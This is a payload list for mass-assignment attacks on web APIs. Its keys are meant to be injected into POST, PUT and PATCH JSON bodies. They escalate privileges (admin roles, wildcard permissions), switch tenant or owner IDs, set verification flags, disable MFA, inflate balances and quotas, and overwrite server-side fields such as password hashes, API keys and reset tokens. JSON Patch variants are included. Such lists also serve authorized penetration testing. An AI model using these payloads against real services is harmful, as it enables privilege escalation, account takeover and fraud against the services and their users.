# Mass assignment / over-posting payload fields
# Add these keys to JSON bodies on POST/PUT/PATCH to user/profile/resource endpoints

# --- Privilege flags ---
"role": "admin"
"roles": ["admin"]
"isAdmin": true
"is_admin": true
"admin": true
"is_staff": true
"is_superuser": true
"superuser": true
"privilege": "admin"
"privileges": ["*"]
"permissions": ["*"]
"scope": "admin"
"scopes": ["admin", "write", "delete"]
"access_level": 9999
"tier": "enterprise"
"plan": "unlimited"

# --- Account / tenancy ---
"user_id": 1
"userId": 1
"owner_id": 1
"tenant_id": 0
"tenantId": 0
"organization_id": 1
"org_id": 1
"account_id": 1

# --- State flags ---
"verified": true
"email_verified": true
"phone_verified": true
"kyc_verified": true
"approved": true
"active": true
"enabled": true
"locked": false
"banned": false
"suspended": false
"deleted": false
"mfa_enabled": false
"2fa_enabled": false

# --- Money / quota ---
"balance": 999999
"credits": 999999
"quota": 999999
"rate_limit": 999999
"price": 0
"discount": 100
"free": true
"paid": true

# --- Internal-only / server-side fields ---
"id": 1
"uuid": "00000000-0000-0000-0000-000000000000"
"created_at": "1970-01-01T00:00:00Z"
"updated_by": "admin"
"password_hash": "$2y$10$..."
"api_key": "attacker-chosen"
"reset_token": "attacker-chosen"
"internal_notes": "x"

# --- JSON Patch / merge variants ---
[{"op":"replace","path":"/role","value":"admin"}]
[{"op":"add","path":"/permissions/-","value":"admin"}]
